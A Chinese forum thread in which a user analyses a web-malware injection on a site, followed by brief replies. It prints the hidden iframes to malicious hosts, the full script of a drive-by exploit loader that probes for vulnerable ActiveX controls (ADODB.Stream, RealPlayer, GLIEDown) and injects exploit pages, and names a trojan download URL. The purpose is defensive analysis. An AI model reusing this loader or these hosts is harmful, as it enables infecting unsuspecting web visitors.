jgwy被挂网马相关分析

huniao

因为来晚了 没有第一时间获知 挂马方式未知，但从贴内大家找出的地址来看 分析如下：

<iframe src=http://s82mnl12.cn/cn4.htm width=50 height=0 border=0></iframe>

cn4.htm引出<iframe src=http://s82mnl12.cn/xi/xx.htm width=50 height=0></iframe>
低部为统计流量
而xx.htm未使用任何加密方式 明文显示

1. <script language="javaScript">
   
2.         var cook = "silentwm";
   
3.        
   
4.         function setCookie(name, value, expire)
   
5.         {   
   
6.                 window.document.cookie = name + "=" + escape(value) + ((expire == null) ? "" : ("; expires=" + expire.toGMTString()));
   
7.         }
   
8. 
   
9.         function getCookie(Name)
   
10.         {   
    
11.                 var search = Name + "=";
    
12.                 if (window.document.cookie.length > 0)
    
13.                 {
    
14.                         offset = window.document.cookie.indexOf(search);
    
15.                         if (offset != -1)
    
16.                         {
    
17.                                 offset += search.length;      
    
18.                           end = window.document.cookie.indexOf(";", offset)      
    
19.                           if (end == -1)
    
20.                             end = window.document.cookie.length;
    
21.                           return unescape(window.document.cookie.substring(offset, end));
    
22.                          }
    
23.                  }
    
24.           return null;
    
25.         }
    
26. 
    
27.         function register(name)
    
28.         {
    
29.                 var today = new Date();
    
30.                 var expires = new Date();
    
31.                 expires.setTime(today.getTime() + 1000*60*60*24);
    
32.                 setCookie(cook, name, expires);
    
33.         }
    
34. 
    
35.         function openWM()
    
36.         {
    
37.                 var c = getCookie(cook);
    
38.                 if (c != null)
    
39.                 {
    
40.                   return;
    
41.                 }
    
42.                
    
43.                 register(cook);
    
44.                
    
45.                 window.defaultStatus="完成";
    
46.                        
    
47.                 try{ var e;
    
48.                         var ado=(document.createElement("object"));
    
49.                         ado.setAttribute("classid","clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
    
50.                         var as=ado.createobject("Adodb.Stream","")}
    
51.                 catch(e){};
    
52.                 finally{
    
53.                         if(e!="[object Error]"){
    
54.                                 document.write("<iframe width=50 height=0 src=so.htm></iframe>")}
    
55.                         else
    
56.                         {       
    
57.                                 try{ var j;
    
58.                                         var real11=new ActiveXObject("IERP"+"Ctl.I"+"ERPCtl.1");}
    
59.                                 catch(j){};
    
60.                                 finally{if(j!="[object Error]"){if(new ActiveXObject("IERPCtl.IERPCtl.1").PlayerProperty("PRODUCTVERSION")<="6.0.14.552")
    
61.                                         {document.write('<iframe width=0 height=100 src=sr.htm></iframe>')}
    
62.                          else
    
63.                          {
    
64.                                         document.write('<iframe width=0 height=100 src=st.htm></iframe>')}}}
    
65. 
    
66.                                 try{ var g;
    
67.                                         var glworld=new ActiveXObject("GLIEDown.IEDown.1");}
    
68.                                 catch(g){};
    
69.                                 finally{if(g!="[object Error]"){
    
70.                                         document.write('<iframe style=display:none src=sz.htm></iframe>')}}
    
71. 
    
72. 
    
73.                         }}
    
74.         }
    
75. 
    
76. openWM();
    
77. </script>
    
78. <iframe src=http://8nnnnn99.cn/9/sf.htm width=100 height=0></iframe>
    
79. <script src='http://s127.cnzz.com/stat.php?id=755932&web_id=755932' language='JavaScript' charset='gb2312'></script>

复制代码

以上为自动判断式组合网马
so.htm
sr.htm
st.htm
sz.htm
sf.htm
4文件已加密 过杀毒
解密其文件，得到木马地址：http://8nnnnn99.cn/9/ck.exe 慎下
文件大小15.9K
使用多重加壳方式 内带Morphine壳 常用于加密rootkit内核病毒
该病毒行为插入explorer.exe
带EXE感染性质
写目录为C:\Program Files\HintSoft\PubwinClient\Patch
生成C:\Program Files\360Safebox\sprotect.ini
故疑为机器狗病毒
大家小心

huaduxu

很好我有卡吧

huniao

这个病毒应该是老版 新版能过卡巴主动防御

huniao

另
Discuz! 6.0脚本目前无最新漏洞情况
安全原因还是要多从服务器入手

cpcn

昨天网站挂了一次，今天又挂了一次

cnys

redsnow

呵这都让你分析出来了 不简单呵

vlin

放屁虫

偶像级别啊,这玩意都能弄出来,强~

edmin

或者是管理层密码泄露  上次DZ 官方被黑好像就是管理层密码泄露  

支持HTML 怎么的加的。。。。